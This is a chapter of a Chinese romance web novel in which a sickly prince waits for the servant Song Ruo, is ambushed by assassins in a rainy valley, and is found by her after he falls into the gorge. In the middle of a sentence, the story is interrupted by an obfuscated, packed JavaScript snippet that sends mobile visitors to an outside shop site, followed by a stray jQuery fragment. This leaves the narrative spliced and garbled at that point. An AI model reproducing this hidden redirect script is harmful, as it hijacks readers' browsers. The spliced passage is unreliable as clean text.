到底等谁?

    鹤寻一直等到了将近日薄西山,也没搞清楚这些事情。

    天上有浓云逐渐汇聚,大概不多时就要下一场急雨。

    偶有热风掀开车窗垂帘一角,能看见王爷倚着软靠闭目养神,面上怡然自若,叫人半点也看不出他在想什么。

    直到看见一个熟悉的身影从栖云山旁路走下。

    是宋若!

    鹤寻心中只觉疑惑,白日她还在王府,怎的现在又在此处了?

    而看宋若却像不急于回阆城,略微踌躇着四处张望。

    栖云山山脚已不复午时的热闹,摊贩大多回家,只剩零散几个还在等待香客光顾。

    鹤寻感觉背后凉凉的,王爷好像睁开了眼,视线越过他的后背凝视着前方。

    而宋若在一个卖蜜枣糕的摊子前驻足良久,终于走上了大路,大概是准备回阆城了。

    宋若拎着纸袋本是目不斜视地走,突然发觉路边停着的马车驭位坐着的赫然是鹤寻。

    鹤寻在这,那马车里坐着的人是谁就显而易见了。

    在不是阆城的地界见到熟悉的面孔,宋若心中油然而生一阵欣喜。

    没想到他们还没走。

    “鹤寻大哥!”宋若高高兴兴地走上前来打招呼。

    “宋若姑娘。”

    “鹤寻大哥你们怎么还没走?”

    鹤寻摇了摇头,表示不知道或者不可说。

    好吧,宋若不明所以地点点头。

    不知道是怎么了,不过也不关她的事,她还是得抓紧走了。

    “宋若。”马车里的人突然出声,“上来。”

    裴敛的手从马车里伸出,挑开了帘子,看不见马车里的具体景象,只看得见他伸出的手苍白且修长。

    宋若只当裴敛又有事吩咐她,不敢多耽搁就钻进了马车。

    “鹤寻,走了。”

    宋若一上马车就听裴敛这么说。

    鹤寻接到命令后,马车逐渐往前走了。

    宋若吃惊极了。

    难道裴敛是在……等她吗?

    宋若有点想问问他是不是在等她,可话到嘴边又觉有些难堪,万一是她自作多情就不好了,于是干脆低下头去,直到他的声音打破了平静。

    “宋若。”

    “哎!”

    “……本王方才看见你在摊贩前,你买了什么?”

    宋若抬头,只见他目光幽深地盯着她。

    她没想到王爷的眼神居然很好么?刚刚她一点也没看见他,他却已经看到她很久。

    宋若没来由的感到有点奇怪,但也说不上是那里奇怪。

    “是蜜枣糕。”

    宋若并不遮掩,把装着糕点的油纸袋拿到两人面前。

    “哦?……”

    裴敛突然弯了弯眼,嘴角无一丝弧度眼睛却在笑,宋若被他这突如其来的笑瞬间晃了眼。

    “本王记得你尤爱阆城内的糕点铺子,今日突然想起在这毫不熟悉的栖云山脚买,是因为什么?”

    宋若没想到他会问这些,顿时有些支支吾吾起来。

    她一时间完全想不到好的谎话,可又没法说,是因为我偷看偷听你们兄弟姐妹谈话,于是心血来潮想到给你带一份糕点吧。

    “我……”

    裴敛却好整以暇地打量她的神色,逐渐肯定了心中的猜想。

    于是干脆换了个问法。

    “你是……为我买的吗?”

    被说中心事的宋若惊慌局促间对上他的眼,只见他依然弯着眼,眼中却比刚才多了分期许。

    “是。”宋若承认了,但不知道为什么却觉得自己的脸好像在烧。

    为何什么都瞒不过他的眼睛呢?王爷真是好聪明。

    裴敛闻言顿时轻声笑开。

    宋若觉得他脸上有种达到目的的、她直觉对于她不太妙的志得意满,但是他实在是笑得十分好看,于是连带着这份志得意满也十分好看。

    “我现在想吃这个。”裴敛对宋若说。

    于是打开油纸袋窸窸窣窣的声音便从马车里传出。

    鹤寻听着声音默然。

    ……

    不是说吃糕点会吐吗?这是何意啊?

    还是说只是吃他买的糕点会吐吗。

    鹤寻突然觉得不用细思也感到骇然。

    他好像发现了什么不得了的事。

    意识到这件事后,他再回顾起白日自己的言行,顿觉如果不是双手拉着缰绳,他真想给自己来上一巴掌。

    他这破嘴!

    天空坠下雨点,不多时雨点便越来越越来越大,密集地砸在路上车马上。

    此时宋若一行人会阆城的路刚走完不到一半,正行至栖云山紧邻着的一处深谷,此处由于地势复杂所以荒无人烟,也由于乌云密布,今日天色比往常还要暗上许多,往深谷看去只见一片漆黑。

    宋若心中有点隐隐的不安。

    而向裴敛看去,却发现他凝视着深谷面色不虞,仿佛他也有类似的感觉。

    宋若心中的不安愈盛,她捏紧了衣角,正想开口询问,却闻到空气中逐渐弥漫开的刺鼻气味。

    马车前的马,突然发出了尖锐嘶鸣,在刺鼻气味中狂乱起来。

    忽然间有什么东西铮铮地划破空气。

    裴敛眸色一凛,于瞬息之间伸出手强硬地压下宋若的后背,带着她一起矮下身子躲在车厢底部。

    几乎于同一瞬息,一支散发着幽幽冷光的箭凌厉地射穿了马车,其中强悍的力道将车厢内壁破开了一个口子,急促的雨点混着风瞬间灌了进来。

    可争斗远远没能停止,外面传来鹤寻和人打斗的声音,刀剑碰撞在车厢外壁上发出沉闷骇人的声响。

    “有刺客!王爷快走!”

    宋若知道鹤寻是数一数二的高手,保住自己性命恐怕不在话下,那么剩下不会武功的她和病弱的王爷最好现在就走。她当机立断地拉起裴敛的手,踹开车厢后壁,想和他一起逃出生天。

    裴敛却制止了她。

    “你逃吧,我留下射杀些人。”

    “他们冲我来的,你尽管逃,不必回头。”

    说这些话时裴敛的神情异常坚定,好像一切都自在掌握之中。

    “快走!”

    宋若没敢再耽搁,只得独自跑走。

    急雨铺天盖地地扫在她的脸上,她只能跑得快些更快些。

    她这才后知后觉地感受到强烈的惊恐。

    她刚刚可能会在这场突如其来的刺杀中丧命!

    疾跑中她偶有回头,只能看见和人拼命厮杀的鹤寻和他挽弓射箭的背影。

    如他所言刺客没来追她,她成功跑出来了!

    密集的雨点已让衣服完全湿透,宋若不敢再跑,躲进了路边低矮的灌木里,却听见远处刀剑声厮杀声在某一刻全然停止。

    发生什么事了?

    宋若飞快地思考着,却只能想到:那么多刺客不可能一下击败,现在什么声音也没有了,是王爷和鹤寻……被杀死了吗?

    她的眼睛骤然张大,逐渐因为惊恐和痛心而失焦。

    怎么办?

    宋若此时顾不上那么多了,她借着路边

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938970|213822||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    草木隐蔽身形往马车处跑动。

    而鹤寻却匆匆赶来,两人几乎撞了个照面。

    可宋若在看清鹤寻的神情后心猛然一沉。

    果然,她听见鹤寻说:

    “王爷遇袭,掉到谷中去了!”

    天已经完全黑下来了。

    “宋若你且留在这,我速回王府找人搭救!”

    “我先进入这个谷中找王爷!”

    “万万不可!刺客是和王爷一同坠入谷里的,切勿轻举妄动!”

    鹤寻不再多说,马车和马都已用不了,此刻只能靠疾走回到王府。

    雨依然下着。

    宋若回到已经破损不堪的马车旁,茫茫然看着深幽的山谷和地上在黑暗中依然刺目的血迹,心中慢慢浮现出一个词:

    凶多吉少。

    能下行到山谷内部的陡坡上赫然是有人挣扎却滑落的痕迹,王爷应该就是从此处掉下去的。

    宋若心里沉极了,她不想等了,如果先遇上刺客而不是王爷那便算她倒霉。

    再说在这偌大的山谷里,树木繁茂处处难行,从高处跌下的刺客并不一定有她活动自如。

    宋若咬着牙,拎起已经不太明亮的宫灯,从陡坡处往下探去。

    ————

    裴敛自觉自己的腿似乎快要折断了,几乎没法行动,除此之外腹部被捅开的口子止不住地流血,雨水不住地冲刷似乎更糟,到处都是血腥味。

    他知道刺客与他一同掉入了这里,除了要提防着刺客,他还得小心可能会被他的血吸引来的猛兽。

    ……

    血液不停地流失着,止血的办法几乎是收效甚微,裴敛的眼前一阵阵发白。

    他必须像任何时候一样谨慎。不管是裹着糖衣的药,下了疯药的马,有毒的糕点,淬毒的华服,如果他足够顽强,那么他能像从小到大的所有时候一样等到机会死里逃生。

    可此时此刻他却突然想要对自己束手无策的狼狈境地发笑了。

    裴敛啊裴敛,你看你努力了这么久,最后都换来了什么。

    ……

    “裴敛?”

    裴敛愕然抬眼,只见她像梦一般站在他面前。

    裴敛对现在的一切充满了怀疑,他在发梦罢?她怎么会在这?

    只是勉强打起精神来细细打量,不,其实也用不着细细打量。

    眼前的宋若,浑身湿透,衣服湿淋淋的看起来束手束脚,鞋上下摆处到处是泥污,头发上衣裳里乱七八糟嵌了好些草叶,手里还提着个缺了好几块、已经熄灭了的,不知道有什么用的宫灯。

    ……那恐怕是真的宋若了,他前些天做梦梦到的宋若比这个好看许多。

    !

    “你来做什么!”裴敛几乎一口血呛到了喉间。

    “你不该来,你不知道这里有多危险。”

    “你怎敢独自下来?你不能……”

    “我们一起就好了。”宋若轻轻说。

    裴敛不再多言,只是怔怔地瞧着她。

    “你要和我一起吗?”他听见自己这么说。

    “我会和你一起。”

    裴敛彻底失言,他说不出什么假意指责的话,他也感到,一直以来勉力支撑的意识在这一瞬间松懈了。

    在彻底沉入漆黑的昏迷前,裴敛听见自己的心脏在清清楚楚地、异常激越地搏跳着。

    以及心底深处按耐已久如今终于浮起的,自己的声音:

    好喜欢她怎么办。

    雨已经停了,月亮逐渐从云层中展露,皎皎月光照亮了土地的每一寸,哪怕是深谷。